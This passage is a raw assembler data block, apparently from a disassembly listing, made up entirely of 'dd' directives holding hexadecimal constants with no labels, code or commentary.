		dd 199E48Ch, 9C13F388h,	28D79F77h, 7F558394h, 906CB809h
		dd 0CE053EA8h, 0F5227D00h, 0A168C145h, 0F093C004h, 0A8C8950Fh
		dd 58FE7837h, 6085488Dh, 9EEC5E6Ah, 5FB200A6h, 6D81610Fh
		dd 521DE400h, 4E4F8864h, 0C2949EE9h, 98089C56h,	0B7366400h
		dd 2E4F3272h, 607028E9h, 3B92EDD7h, 4CA9E03Ch, 951300ADh
		dd 62B34C63h, 7DC57855h, 1AAE0481h, 0C0370A31h,	0D6674D6Ch
		dd 0F8070A90h, 0C4F12093h, 0B080F304h, 4BE940Ch, 7B825230h
		dd 61D100FFh, 0FECC4Eh,	0D5EE44B5h, 5E1F7337h, 436A4D0Fh
		dd 975A04ECh, 0AE9EDC80h, 0DF5F804Ah, 71F49100h, 7419B6D5h
		dd 0F1D603F6h, 0C5C6B18Bh, 8CF93804h, 74802A76h, 1E624093h
		dd 2E2919EAh, 8A4EE254h, 9403885Ah, 195A1638h, 0E063DB20h
		dd 722CFh, 0A0F6F9AEh, 95529A43h, 0CD45EA0Bh, 9E944953h
		dd 0E32C9110h, 0C103CCF0h, 0D9C043DBh, 579AB8BAh, 548D4C4Eh
		dd 0A2C59D85h, 1D9421E8h, 4070A4E7h, 0C73F7780h, 5641A094h
		dd 407272CBh, 0BB03447Dh, 0ECEFA929h, 0B01D29BAh, 14D01413h
		dd 87988Ah, 0A75F60F5h,	8295D975h, 0BC0F2E4Ah, 52BF2035h
		dd 6E3A16h, 0C7CC6D0Ch,	3E4858F5h, 1975500h, 0FE4418B1h
		dd 0C4267E6Bh, 0E27F46A9h, 14A90120h, 749F3A5Dh, 9C132830h
		dd 0F7CB886Ch, 6F003497h, 9173F28Ah, 0B5700026h, 68024213h
		dd 7F04EA93h, 847AF40Fh, 3556E088h, 7D147A9h, 0C8512504h
		dd 3BDF2F05h, 7E204000h, 0A4834DF4h, 30A2A2E8h,	8479248Ch
		dd 11CE320h, 0B48617F3h, 70AF3912h, 4E0EEF4Eh, 2268612Eh
		dd 44ADFE4Ah, 3F5100DCh, 0A0E55FF1h, 700CAABh, 0D2184D70h
		dd 75B659Fh, 0AFD6946h,	0F8F9108Bh, 9375EF97h, 4E24D890h
		dd 0E449148Eh, 8F670328h, 74BC9B78h, 3BFDA798h,	0A8B8CF72h
		dd 0FE9D2004h, 148808D2h, 8BAC8831h, 9AAE7218h,	0F23DE851h
		dd 21F2C3h, 0E5A53127h,	0F5C456F7h, 7E794400h, 3EC281E8h
		dd 78F03990h, 7B0AD19Ch, 86B41A80h, 70B07DFAh, 81F1090Fh
		dd 21F00048h, 0C4156Fh,	55B8510Ah, 666EB4Eh, 8B839938h
		dd 0F534222Fh, 386F6386h, 791B8400h, 2CECAAA1h,	0CD860328h
		dd 6D8E76B1h, 0A20A2002h, 61B399CEh, 186AB60Eh,	0F76A11D6h
		dd 21491561h, 8B08166h,	127BB510h, 80724C00h, 0A16AE70Fh
		dd 22E2C08Dh, 78796C3Dh, 0CF00E0FEh, 887E9214h,	751FD6Ah
		dd 520448E2h, 0BA1E81D1h, 62E5F46Bh, 5AE30905h,	0DB0170F8h
		dd 0ED89A748h, 40F4C0E5h, 0FC630E0h, 623821B1h,	88230E30h
		dd 60ED90D1h, 0A74E9903h, 0D20CDFF5h, 316E12C6h, 0D0D70ECFh
		dd 2918E590h, 0D800F769h, 0A69F89B0h, 1DA907CDh, 2808AF5Ah
		dd 290163C5h, 697873FAh, 0AEC72508h, 0D47000EFh, 79617B2Dh
		dd 5112FA0Ah, 7F838CC5h, 0F092A115h, 0EAE9CF8Eh, 0F2100AD3h
		dd 30AC69ADh, 9D04EC40h, 27E3810Fh, 54F4F8h, 0CD236E2h
		dd 3FD47489h, 0F78E6F91h, 0FC74EE0Dh, 817A6619h, 480CF509h
		dd 77004B88h, 0ACE68DA4h, 7AE49Bh, 7857D219h, 0A5BF7FC7h
		dd 8488F803h, 0D875774Ch, 0C4FEF281h, 40928550h, 0C3E90EB5h
		dd 3038785Bh, 6D19FE50h, 4719573h, 699A2214h, 2E71090h
		dd 917D8Fh, 3FC9F06Ah, 50B3E191h, 0C28A10EFh, 0F6E890A9h
		dd 0D1696048h, 4767B18h, 37FF849h, 72255414h, 0D918634Eh
		dd 5F31FB4Ch, 50891891h, 0A52CD237h, 4A165E00h,	6620AE7Eh
		dd 9E4C9182h, 38F898F2h, 41C0F94Ch, 0EF6D1A61h,	1DC800ADh
		dd 5F271CEAh, 2F003F34h, 72E243C4h, 0E8FB201Ah,	0CCD1D455h
		dd 19BE7703h, 61B65086h, 74D928C0h, 75E2B18h, 0A9CC450Fh
		dd 3AC6E0C8h, 6A0C813Bh, 31C38567h, 8090545Ah, 2FD7070Bh
		dd 0B05B95E5h, 99730FE9h, 0B12DBB01h, 807661A7h, 1551C8F7h
		dd 5DBD00FEh, 35B90B81h, 0C760509Dh, 314E1951h,	0C90C0024h
		dd 1F9F8748h, 0CF027DA8h, 0D10D8627h, 752844F2h, 360F1CEDh
		dd 0EB5C86FEh, 0C0011961h, 0D1145951h, 64D0D0BBh, 0C0E7825h
		dd 8DBD8941h, 0A1010CB1h, 4367005h, 830A86Eh, 13B4A478h
		dd 329BF2AAh, 0D120FC0Ch, 7AD8AB14h, 526779CFh,	892284F0h
		dd 2700D17Dh, 7CCD71Dh,	0C064F2D2h, 5EDF8449h, 2607C115h
		dd 9C53F3DDh, 0B0CDC460h, 4C1D00C6h, 45DA769h, 149170B2h
		dd 0F9846685h, 1740401Ch, 4AF870E4h, 0B8D26210h, 0E32FFD82h
		dd 0A16B1D25h, 7630B7A1h, 0C1E22491h, 0DE698F58h, 0CB2CAA41h
		dd 62BD8D9h, 85CD6112h,	89C19C28h, 541301AEh, 48004106h
		dd 37836A90h, 27CB528h
		dd 817945E8h, 1C607E64h, 48A044EDh, 685007F8h, 0F2428364h
		dd 0E36A1Eh, 3604341h, 80990EF8h, 0CF76B480h, 0EECD770h
		dd 0A0024E4Ah, 1051F400h, 6D012198h, 8DDCE971h,	18802301h
		dd 0B9BBC707h, 170719F0h, 0A72EA911h, 88D0D3D3h, 6406C6A6h
		dd 0C0126170h, 0A7D42022h, 80146858h, 6BCB786h,	4205072Ah
		dd 10B99FE6h, 0FE45829Eh, 3400F4A4h, 0CCF655E3h, 0C947FDh
		dd 9DC12F2Ah, 145AEADh,	1AC6F80h, 0B7C85E98h, 8074F3AAh
		dd 0A6F0E4A8h, 203991h,	0BCBA34Bh, 3F0C3EB6h, 5126BA01h
		dd 80A9F10Ah, 7231E0h, 578A8BE3h, 0B3BAE5A1h, 0E2D08200h
		dd 39ADE970h, 0B9936159h, 0E018E4B4h, 867C9897h, 0B7F90703h
		dd 0E00F794Bh, 483565F3h, 1009C6Dh, 0CF20A7FFh,	67004F77h
		dd 7A2FC9E2h, 278D916h,	0C0FA5DDFh, 0C4C44687h,	7ECBFE00h
		dd 7F435C57h, 99230049h, 0F1B2D3D1h, 8906C69h, 2BDAE200h
		dd 0B5D4EA7Bh, 0F4ED1278h, 74002045h, 824863F5h, 712C0E0Ch
		dd 0D7D087CCh, 8EF2111h, 2E34430h, 7073D231h, 0D121C650h
		dd 2EE474EAh, 4CA90097h, 3177B278h, 0C4EC20F5h,	20E258h
		dd 71B6A80Dh, 787C11Ah,	46A677CDh, 6915A0ADh, 503E48EDh
		dd 787D30E6h, 155E7112h, 0D405A2A3h, 20BE7813h,	25F40808h
		dd 4583150Ah, 0BC8080FCh, 0A4811816h, 807E4Dh, 0D5507210h
		dd 7A917563h, 89490663h, 3D68D659h, 0FA802345h,	4D1822FEh
		dd 6BF62A61h, 0BDEF7100h, 0EE3BE2E7h, 601B0243h, 1A0E19A8h
		dd 31160CC1h, 0E8F6F548h, 990C712Eh, 89E7457Eh,	0C0270002h
		dd 0B18DE0DCh, 484A932Ch, 0AD003FA8h, 0FCA6D5FEh, 4B521F3Fh
		dd 8F2050BCh, 9A73E00Eh, 0EB0C1E6Dh, 3917118Eh,	0A8FC7A55h
		dd 6162369Ch, 5A0C5269h, 8B88503Ch, 370078FAh, 0CCB4CDE2h
		dd 38CF27h, 2BBB9EC4h, 5068A448h, 2609A1C0h, 1F915269h
		dd 9985C81h, 0B8072B7Ah, 0E84593AEh, 6A5F2900h,	52C04E95h
		dd 0CE30FF26h, 68A2010Fh, 0AC15B398h, 7BE2F055h, 0C30F126h
		dd 4008026h, 7912A8E1h,	391C2EA7h, 6080AC70h, 0AD22EE2h
		dd 0BBBF800h, 7DF9BCCFh, 58F892B8h, 28007419h, 0F81AB98Fh
		dd 85DE506h, 52603C9Ch,	0E4C00098h, 7BB97183h, 0F3EC00F5h
		dd 6025E263h, 0F72C6AAFh, 0C14030A1h, 174DBA77h, 2058D7DFh
		dd 32E1CC00h, 3C1F7C00h, 0A669C1B5h, 88C9821Bh,	0E344600Ah
		dd 1ABE950Ah, 807B617h,	6A709AC5h, 1ACE3D60h, 518876B1h
		dd 2E1FDE40h, 0F7B9BD0Fh, 0AEA203B6h, 69100E2Ch, 0B01EF2D0h
		dd 2E4D3D60h, 9F713500h, 5D166FEAh, 0F6AC3B88h,	8FB4B626h
		dd 21709229h, 3371606h,	596F214h, 0B478112Eh, 261CB1B0h
		dd 0F4811055h, 2DA20719h, 52035F08h, 20C601h, 0FD7621C9h
		dd 0F1737E0Ah, 0FCE0F001h, 0D0848AF8h, 8FC443h,	41ED6771h
		dd 4FCF5498h, 8300C0B9h, 8A66E0DAh, 0D7CD1681h,	4AAC05D0h
		dd 1C5480BFh, 0B97C33B7h, 0CF52E005h, 903072F9h, 702AA47h
		dd 766A196Fh, 0DA90C3C2h, 87714FE0h, 50BB2332h,	0E066B5h
		dd 683CE9C8h, 9D781680h, 0C3E16301h, 90EFCD7Fh,	5410A5D9h
		dd 74B82EF5h, 8C209524h, 0E45BC4BAh, 24BF02E9h,	1170429Fh
		dd 2FF44160h, 23F230C9h, 8565AA08h, 623FB8C1h, 59A07F10h
		dd 0E4499260h, 0BB4787h, 0C1B92DAFh, 0E2FB661Bh, 923F3E03h
		dd 0D80C8368h, 7D307C6h, 7FF9C209h, 41A08080h, 9D001902h
		dd 7E10B8C4h, 0E60AF6FCh, 158A3BD8h, 6AF9DF87h,	0AFDE607Dh
		dd 0B007B45h, 0BE7F0ABAh, 594AA3h, 8F9C168h, 2BB69DBh
		dd 3B335703h, 3C0B07F7h, 26008940h, 0C427CE40h,	0C1014879h
		dd 98817F74h, 0EDF419F9h, 0E47E00EEh, 0D9500884h, 0D10F9B0Dh
		dd 23FB4785h, 3F3FCh, 0E6450A88h, 0FBAA1F2h, 0FB1BAF00h
		dd 1194E47Fh, 0DDA0104h, 8C77D19Dh, 0F3308CFEh,	0FC3948h
		dd 674BF24Ah, 39622D3Eh, 99BD1207h, 4347DFB3h, 870C59D2h
		dd 9043088Ch, 9C393A55h, 4CF4388Ch, 0D5039411h,	0F85FBD3h
		dd 8F7EA8CBh, 0C5070701h, 30CD8905h, 3BF2D974h,	2530DC63h
		dd 578100F4h, 0A70331E6h, 0A600E945h, 0EC71694Eh, 19CE779h
		dd 0A260BBA5h, 5003514Ah, 0FB970A9Ch, 0B0F179C0h, 1E93B63Bh
		dd 8C0565h, 0FFE4D235h,	0A130EFDEh, 3DFC7124h, 68410040h
		dd 0BD460E9Dh, 183B20ABh, 970C8635h, 3028E4EFh,	0DF31564Bh
		dd 0B7285DF1h, 4F02E431h, 2D7375Eh, 250140D4h, 48AF00E9h
		dd 13581F5Fh, 8CFCFDBDh, 0ACCCED50h, 4FDFB70Ah,	3200D8A6h
		dd 0AD287D23h, 0C19F058Ch, 20B459D8h, 0A338DEC0h, 7D469B00h
		dd 0E3CC10CBh, 187FE894h, 50FA5C61h, 5D5349F7h,	942180h
		dd 12415AF8h, 0F7606C80h, 0B78E0750h, 9D93897h,	0F21C4BAAh
		dd 307D0067h, 0AE9D3D4Ch, 60091E7Fh, 2217465Fh,	9001F368h
		dd 1F7AE8h, 0A7D7430Bh,	80DBE68Ch, 5760060Fh, 0A1F1E554h
		dd 0CAAF9000h, 17BAC8h,	0F9A43ED0h, 7C25F524h, 93111D01h
		dd 1E61A512h, 1B906180h, 94515DC0h, 65E44E7Dh, 9D0014B8h
		dd 0F07BC477h, 52BECFEh, 0C07F978h, 5EF4308Dh, 9801EE39h
		dd 0F534232Eh, 8503DAAh, 9161A225h, 45AB00CCh, 1C06A8AAh
		dd 0DAEEE902h, 0A0FA78C1h, 601F20ECh, 370E0055h, 6AF71C7Fh
		dd 9C4847A2h, 0EB5F00F8h, 0DC5FEE8h, 0AE0B0C34h, 0C11E930h
		dd 18A6133Dh, 25994795h, 0D8E4ABD7h, 4320E5Eh, 0E80744B2h
		dd 0FA7783CEh, 2F30818h, 0E46AB31h, 23B5BB9Bh, 3BEDB4C0h
		dd 4C508A0Bh, 0EA88D228h, 0BF3D0077h, 70657686h, 6F00D766h
		dd 0B8C6E01Dh, 5C0922h,	39E4E9CBh, 0F35F02EAh, 81840A00h
		dd 0BC5695FBh, 0FED60076h, 0CF8FF207h, 1B0203A3h, 87800A02h
		dd 9C10486Fh, 695D0456h, 807C2D7Dh, 123A5B0Ch, 986B812Ah
		dd 1B627F15h, 0E5BA00ACh, 7CCB0538h, 0CF390090h, 5686B84Eh
		dd 6300D31Ch, 879DB669h, 0F81A9CA2h, 0F05D04E7h, 88254A03h
		dd 0EAB8B2C4h, 43EFBA00h, 0E4D12B68h, 2EA4392Fh, 260E7875h
		dd 36E198Ch, 0F42A5508h, 8086AEA1h, 366947AEh, 626D03h
		dd 43C6CD07h, 295F788Bh, 0E009B628h, 0A8580F73h, 0A98E0C97h
		dd 3CC84056h, 0C780E411h, 0CAC6B3D7h, 93017F77h, 1301DD33h
		dd 7087DEBFh, 40EC56AEh, 24DB787Eh, 99F410C0h, 0C0D1B192h
		dd 2C83F114h, 0D6FEBD60h, 14279C1Dh, 52C3E8DDh,	68F670h
		dd 182C3570h, 0C355CC69h, 15BE670Fh, 496F20E5h,	186D9352h
		dd 61627727h, 59603719h, 93804BE9h, 42D0040h, 737CCE13h
		dd 0A8E41F01h, 0DB06CDF0h, 0C82919B4h, 0B54F0431h, 73B4893h
		dd 946FFF2h, 0ECAA0058h, 5DDC8F7Ah, 0D417FA32h,	280043D9h
		dd 0DB7EC102h, 0F14205ABh, 59B49604h, 0F8AA7094h, 0A53A65CDh
		dd 0A6550002h, 0F6267FD3h, 54285419h, 11A0A67Eh, 2FCFECEh
		dd 2423FDB1h, 0D771C0C6h, 0F70D03DDh, 0BEE0179Dh, 0E7B421BDh
		dd 0DA99D366h, 13C8101Dh, 0C14E0EA3h, 720FAAFh,	0E77B694Dh
		dd 0F8192C18h, 0A4EF7339h, 643705ECh, 3346D18h,	0E7AF04B8h
		dd 86B59299h, 0F2D6BF21h, 67540139h, 93FD1828h,	0AB785084h
		dd 79192DAAh, 0EF8904DBh, 728848h, 60A87DE7h, 1245A4FAh
		dd 0E677E101h, 0EFF62F07h, 0D92C3441h, 13886DECh, 11FFC38h
		dd 6A86D15Bh, 0D998535Ch, 34371388h, 183AB1DFh,	0DE41B1F0h
		dd 29D13F92h, 88A2FA00h, 0B484E941h, 0D7DFF705h, 245E6886h
		dd 8C444460h, 2913A781h, 4167CE0h, 1470B948h, 9FD0B624h
		dd 100009D0h, 0D8717D7Ch
		dd 8200A032h, 8F78B793h, 21C4A1h, 96927981h, 1732AB0Fh
		dd 384D8524h, 0E1155A11h, 5301DCEBh, 4B0B6368h,	455630EDh
		dd 89BAEF30h, 5C18CBh, 0A31AE4ECh, 5339D2E6h, 8642D800h
		dd 0F2949F2Ah, 0CCDF1C9Bh, 0BF49034Eh, 0A1751DDBh, 5AC42354h
		dd 0A997961Fh, 12BC6381h, 25E0B198h, 0D50F0023h, 830AB755h
		dd 10EBF007h, 0A4F9E1BFh, 7C8810F8h, 0AD22BBh, 0B538DFCDh
		dd 0FF524E80h, 3016A18h, 2CF4C79h, 591CBF46h, 0E2405C74h
		dd 0F818FBB3h, 67CEE50Ah, 7FE224A1h, 0BF034100h, 5C84C2DAh
		dd 653A4210h, 32A6C0DFh, 0C45C1891h, 0A98F18D3h, 1660DBFCh
		dd 49422829h, 1F3BE2B8h, 8033EBEAh, 84E7FCB0h, 0E1006618h
		dd 8EBADFFAh, 1208E37Dh, 241C2BB5h, 86244084h, 0B37C9BB9h
		dd 0ADEFD400h, 2587EAE0h, 28490013h, 6CFAE2E5h,	0CF0009AEh
		dd 6F880CD7h, 788C2361h, 0C6B607CDh, 0C035C796h, 4218D34Fh
		dd 0DED92000h, 330F2C8Dh, 765B0190h, 58AB46F3h,	6104304Ah
		dd 8756E08Bh, 947D00A6h, 4377CC68h, 5860363Fh, 0ED17AD20h
		dd 6FC203B6h, 26327254h, 5D94EE98h, 0CBD18201h,	0B21387DFh
		dd 1FF3030h, 8FF7042Ah,	0C3A93A81h, 4607E100h, 63D6F073h
		dd 5779C064h, 709D09B3h, 2C194B15h, 0F8791348h,	2473F447h
		dd 0B699FD71h, 7618F822h, 52E88853h, 61388F0Bh,	0E0180E01h
		dd 6E88C3F4h, 0AA543173h, 80665531h, 0ED3FB359h, 72A63A8h
		dd 0C12F3592h, 251F4047h, 3A14DA0Ah, 42F09E18h,	0E0CE0020h
		dd 0BC9067B2h, 0ABF10703h, 0C08E5243h, 0A9511B85h, 696A7800h
		dd 17965BDEh, 545A0156h, 0CEE24E9Dh, 0FBDBCC66h, 5CBE2503h
		dd 0AE986FDh, 7792A259h, 2B19419Ch, 0FFA99C8Fh,	5C801064h
		dd 0E91DA25Dh, 31A439CFh, 0EC0C5800h, 0DF186852h, 2E7BDCA0h
		dd 6B4CE890h, 0B9EF1830h, 9E5E61h, 3F773855h, 962B49C2h
		dd 0E7A46100h, 931D8929h, 5AAB2CCDh, 21791214h,	322E197Ch
		dd 0E1B44014h, 2F7EFB07h, 4BC06A25h, 13065487h,	0C79123h
		dd 0BF5C86FCh, 0FE00AAE3h, 34DEBDDFh, 121518D4h, 4007FFCFh
		dd 8122E7ACh, 0C000F06h, 0E8DA87EFh, 144367h, 25223C6h
		dd 0B5BC1FCFh, 5A88D400h, 2CEFB0F6h, 10D361EDh,	0F0898473h
		dd 853CBBF0h, 87C2063h,	362277B9h, 4076D740h, 0E3E5366Ah
		dd 20840838h, 0ABB63902h, 0C49BFDC0h, 2C553020h, 27E716F1h
		dd 0C3269F07h, 0D607456Ch, 9600DFFFh, 9764C4BEh, 0EDD0008h
		dd 71AADB76h, 0F2004D41h, 9C78C1D0h, 1CBB50EEh,	44C38F67h
		dd 0C8F6D6BDh, 65003764h, 3066BEE3h, 26DA77E5h,	67385CBCh
		dd 0C6A03053h, 7104A3D7h, 7858E6EDh, 0AE61BFC3h, 0E1570AA1h
		dd 800862E5h, 70AB9DCAh, 0E25C0349h, 0CF951F1Ch, 2028D932h
		dd 946EEB27h, 8341D700h, 2145DACDh, 8BC20056h, 0DC92BA01h
		dd 0B2592A18h, 747600ECh, 3077D162h, 7C90981Ah,	171B8961h
		dd 932BCBA0h, 0C151584Dh, 0EEA8C34Ah, 78276FD8h, 1CD8584Dh
		dd 8429A468h, 0B76CB300h, 3167523Ch, 5BB001E1h,	0E46259h
		dd 0D8655F73h, 8AF41FDh, 0B0EF5378h, 507B3E87h,	64816000h
		dd 0C75D007Ah, 1B5EA2ABh, 73018754h, 0F9FC109Fh, 719EF5FEh
		dd 74EEC0DFh, 0DBE81B1h, 0CC0CDEE4h, 0C91E7C65h, 61A867EFh
		dd 42C5600Fh, 453769A0h, 35C0C149h, 75452h, 0DF0AE25Ch
		dd 384353A4h, 0A1006BE2h, 0E61A9F75h, 22A064h, 5EDD0573h
		dd 59996CCCh, 0E93F83Ah, 61D2288Ch, 0BDEF4C19h,	4ECD5980h
		dd 0DB60903Eh, 1A1BF500h, 0E3359ED4h, 513055Ch,	8073532Eh
		dd 8EDD1DCh, 7826AF0Ch,	0C068B911h, 0CDE5B9D0h,	9D4C4677h
		dd 5C7126B8h, 1D87BC29h, 6970CDB0h, 395A9C4h, 0BAC517D5h
		dd 1E8E5B2h, 577F430Eh,	0A822F898h, 80210156h, 0B8D78A1Ch
		dd 54384214h, 0A0FC9444h, 0F3C20200h, 0FC03BFB0h, 0E31100D6h
		dd 9F81FA71h, 4600CA9Ch, 0DDCED928h, 0C5C2280h,	29CCD567h
		dd 0B5E0DF98h, 8034634Ch, 8514E357h, 0EEEC126Fh, 55704B10h
		dd 0F890810h, 13E1B00h,	0B2876FCFh, 0AC810BEDh,	0A83910E1h
		dd 0BD8C5154h, 0B271030Bh, 0E99C85A3h, 3219E844h, 60FF48B4h
		dd 14D539FEh, 9500F16Eh, 2248B8A7h, 10414CD2h, 0BEEF8Ah
		dd 0F8382808h, 34C7F3h,	86D5827Fh, 4E29CC0h, 317C7473h
		dd 69961813h, 0AC8EF404h, 0AB25594Fh, 1A45207h,	0F3879A0h
		dd 86F88ADCh, 5900086Ch, 76CCE00Bh, 0C01858F0h,	4177AE80h
		dd 51C0B2EFh, 6754D07Eh, 0CB0C01E6h, 41C3351Bh,	0AC66D8E0h
		dd 7691360h, 28F8E36Bh,	9029B4h, 7AC91D68h, 43FFCCF9h
		dd 56AF0A07h, 801B18E6h, 42D680Ch, 4455E8ADh, 61003560h
		dd 21A16F31h, 2E717B39h, 3A106E46h, 658FFD83h, 710DBD78h
		dd 394554FEh, 542372F1h, 3074C440h, 8A08B704h, 94EE54ACh
		dd 0F4A9AF74h, 48AD1029h, 4E8B0045h, 0F1E9CFA4h, 2200FF58h
		dd 0B4DF7D14h, 6132DB82h, 371858A2h, 1E4482Fh, 330940h
		dd 4BD6F983h, 4C211644h, 0CE008FE6h, 0DAA15FABh, 31D4C8B5h
		dd 0DF384D7Bh, 6553E428h, 389B49C0h, 3E3E3F16h,	0BA00F64Bh
		dd 1E765A26h, 0D160E35Bh, 3AB18F78h, 0BC872CFDh, 47644420h
		dd 0DBE0BEC0h, 3838123h, 15515B94h, 2CF37802h, 28F5EBC9h
		dd 33809FB0h, 3EAF741Dh, 776C3D73h, 5E35E49Ch, 0EC4CC069h
		dd 0D5682DC3h, 9C375324h, 0E08278A8h, 6C38A844h, 0DC007788h
		dd 0EAF96271h, 661DD566h, 3030E13Bh, 2812FE42h,	0ED1F0F23h
		dd 0B880C449h, 53E30A62h, 4D6CB700h, 0DEFBFF9Fh, 7A9025B2h
		dd 2295804h, 912E2D19h,	0F11002B8h, 2F00CA21h, 9185A89Dh
		dd 78488Ah, 0DD7CF7B0h,	0FB726DE1h, 0A7E40807h,	24247E79h
		dd 24162CD2h, 6374C003h, 0F7F22A19h, 9061D2h, 1E894DCFh
		dd 0C030FA18h, 0E16BC5F2h, 942CFD65h, 0A28274A3h, 89077F26h
		dd 77849028h, 98289662h, 19DBB101h, 0B9F629C3h,	2DE9F14Bh
		dd 1D74CECh, 950EB70Bh,	60D992A8h, 0FE41B088h, 8A239060h
		dd 0B200E046h, 6A882B29h, 5CD72ED8h, 0A100B98Bh, 2C35117h
		dd 0D16F93A6h, 1CF16848h, 3F3C8B76h, 0A5670380h, 20C6D293h
		dd 2669FDD0h, 65F01E74h, 0B85EDDh, 55CD057Ah, 35E9B527h
		dd 134818CCh, 241B3D01h, 37F5CDC5h, 430E6D8h, 8701A8E8h
		dd 0E450D0AAh, 723CFD33h, 1C2BC453h, 4291F71Dh,	3419503Ah
		dd 4F18107Ah, 0C0690EDAh, 733707DFh, 811D29ADh,	4A643288h
		dd 0C32D2028h, 88BC75B9h, 999CECF8h, 8F413A02h,	80B1D94Ah
		dd 5C6A9560h, 28AC6275h, 0A8729CFDh, 5CE0BF24h,	90370949h
		dd 1C546BC8h, 0CB8B92BCh, 5C101305h, 0E5327FA6h, 417B2879h
		dd 0A0481034h, 33F60BF3h, 57004A32h, 1B8DA466h,	471C7400h
		dd 0FD216C6h, 0FBFA0B6Eh, 0E5817388h, 0D8F25855h, 3601F306h
		dd 68CD6DC1h, 444091FDh, 7C797CC3h, 0E9D6090Eh,	2F09BE87h
		dd 9C04AC21h, 80582DB5h, 66E98C65h, 0E81159FAh,	0EAF25600h
		dd 93804FC2h, 45A7E98h,	9CEB6460h, 1C750438h, 0E4FFA819h
		dd 0F5018974h, 97C9C8DEh, 0B8CC1601h, 38601E9h,	469E43A9h
		dd 133AD487h, 2A5CAD00h, 235FE349h, 0C940001Ch,	2D15D717h
		dd 950EFE4Dh, 0A31BDAB9h, 0F48065C0h, 88B12C88h, 1400CC75h
		dd 5EEBD2E7h, 4C34F5B9h, 32CA4B0h, 0B52041E8h, 0D910FE5Fh
		dd 2754316Ah, 0E41F6D11h, 5F79EFC6h, 50DF6F00h,	7498178Ch
		dd 91CAB8A3h, 1ADB0C28h, 9B008A81h, 0DF2C5DC3h,	2153F0Bh
		dd 81254B88h, 8D20EFDh
		dd 0FCF8F30Ah, 4760F40Fh, 24B2FABh, 0CC9357E0h,	5C662C18h
		dd 7429FB62h, 3D4E607Ah, 9351010Ah, 0DCBF5F29h,	8C6239h
		dd 3D676A86h, 3FD576h, 5163D6E9h, 9F7F736Bh, 2CEEC300h
		dd 0AEA70F21h, 0E7B3009Eh, 0D8E3D7B6h, 851C93DBh, 0EC4271AFh
		dd 20593F18h, 63D7434Bh, 0DF0094A4h, 1994DEBCh,	0F1BEFF4Ch
		dd 0FD0BFC69h, 3011B392h, 5166105Dh, 7DAB3E2Ch,	63303BBEh
		dd 6DE46919h, 7ACE4E00h, 0B1F198E5h, 0C1D624B8h, 0FF242058h
		dd 475820h, 0B6D5D7C8h,	0E5447793h, 48A4C45Ch, 0AFEF86F4h
		dd 3C74EE31h, 0E0083ABh, 8943A38Bh, 1D0BA5ADh, 1C19A04Bh
		dd 5FFA00C0h, 0AB9733D6h, 1AE4B7ECh, 0C9D2DF00h, 14A8A79Dh
		dd 13F92E59h, 0FAF340D8h, 9CB94432h, 98385404h,	0D23048F1h
		dd 5A491E73h, 0E8AD72Ch, 886B7B3Ch, 0D009064h, 728BA979h
		dd 0F0F2C725h, 6810033Eh, 0DFF31153h, 4BB0B4A8h, 0AC910411h
		dd 0A7E0A200h, 0F626B397h, 10210C4Fh, 0DAE093B2h, 8638000Bh
		dd 0FCE743E3h, 3C0383C9h, 4D3A9A09h, 20A84E87h,	78A39D9Ch
		dd 460794Ch, 2CF37B6Bh,	987180CCh, 90DD488Ch, 844EC012h
		dd 142AACh, 7B6D88C4h, 861F2CF1h, 80305140h, 0E4094552h
		dd 99B6D7CEh, 0C40267A8h, 7C5C9925h, 0A0E7D009h, 3A29502Ch
		dd 0A8211496h, 9F826858h, 0D0C47A26h, 79704101h, 0CE196FECh
		dd 8C352881h, 29546E18h, 51C200A4h, 71684E60h, 0C14700F0h
		dd 6EA49193h, 10008EA2h, 181A137Fh, 9988FD66h, 0C8E290F0h
		dd 512E408Eh, 2B321973h, 0DAFF6185h, 0C12D037Ch, 57C90A2Eh
		dd 0BCDDB388h, 2FA4E103h, 80765FF2h, 16CEA95h, 22F991AEh
		dd 0F059AF6Eh, 2D005DF3h, 70E4751Bh, 19D54D5h, 4E427972h
		dd 0F8B9CF66h, 0EC09E9A7h, 8198F465h, 28DEF7FCh, 49F195D1h
		dd 0E0C0C028h, 3D92DA36h, 83B94D01h, 13F00926h,	0C800A454h
		dd 0AEF57DB1h, 0CD680521h, 47157365h, 4F3272A8h, 794E6302h
		dd 71F8C043h, 2E0E58EEh, 6301D64Fh, 0C840BDD8h,	0F973F7h
		dd 6CECDEB3h, 684C1795h, 4F6330Bh, 0BF18C989h, 53141473h
		dd 9580A470h, 0B19E1862h, 64AC0C9Ch, 6840C23Ch,	0A89C009Fh
		dd 525BDEC9h, 0A338EA59h, 14F80010h, 0C7297D13h, 7F20073h
		dd 2BB70576h, 0DB12D44Eh, 0E50938A8h, 88080432h, 14F8C8Ch
		dd 0D19A4043h, 31AD245Eh, 0D9882070h, 2106C3E2h, 0BBF00886h
		dd 91440081h, 575D6A4Ah, 8C0E59A3h, 83FC8230h, 0F1AA2038h
		dd 90637918h, 87E2A502h, 9CD0956Bh, 11633721h, 694C00F5h
		dd 48478DB7h, 0F15002Bh, 0F35CBCAFh, 0DF4D2A19h, 7F650940h
		dd 74546614h, 10C70B53h, 0E80674B0h, 12EA51FAh,	0C7B129C0h
		dd 3B38954Ch, 198C8FCDh, 5251772Ch, 0BF662A02h,	0E20E15D8h
		dd 0C3C4C04h, 0AA7726A6h, 65046811h, 0D2A14FE7h, 0EBA0CCh
		dd 21B727Ah, 4D040CFDh,	2B652600h, 0AE4EBEA8h, 0CCFE0EA6h
		dd 243015FFh, 6570E4E7h, 8188947Dh, 0E0DAA20Ch,	88DC2413h
		dd 8300F4B8h, 49426911h, 3A96A87h, 659453F5h, 39162272h
		dd 20923019h, 90F2FFh, 9B9286C3h, 0BA85D617h, 801E477h
		dd 0A21AA627h, 8470EBD7h, 0EC8A48D9h, 4A86119Eh, 0A00488h
		dd 41D22B3h, 0BBB303Dh,	0F367B3Ah, 3E6C03CDh, 0BE68FA02h
		dd 16F4C4E5h, 0D6E044h,	791E62B0h, 90005573h, 0ABC6485Dh
		dd 3F4221h, 0BE786832h,	1215F92Bh, 733C5F00h, 0C45D93F7h
		dd 21950225h, 2D34194Ah, 0E27F9491h, 9488EF25h,	6AE273h
		dd 71373AECh, 0FDD1CA2Fh, 0AC449A5Bh, 94A9FFCEh, 4015DA1Fh
		dd 4938A61Eh, 19C37627h, 0F5C667F4h, 51AF4C8h, 0DA52CF0Eh
		dd 0B5380833h, 0DF8A6080h, 7E890D0h, 67FB5976h,	336C0A7h
		dd 4B01584Ah, 9606D9D8h, 0CC7350EFh, 0BCF028h, 656CD795h
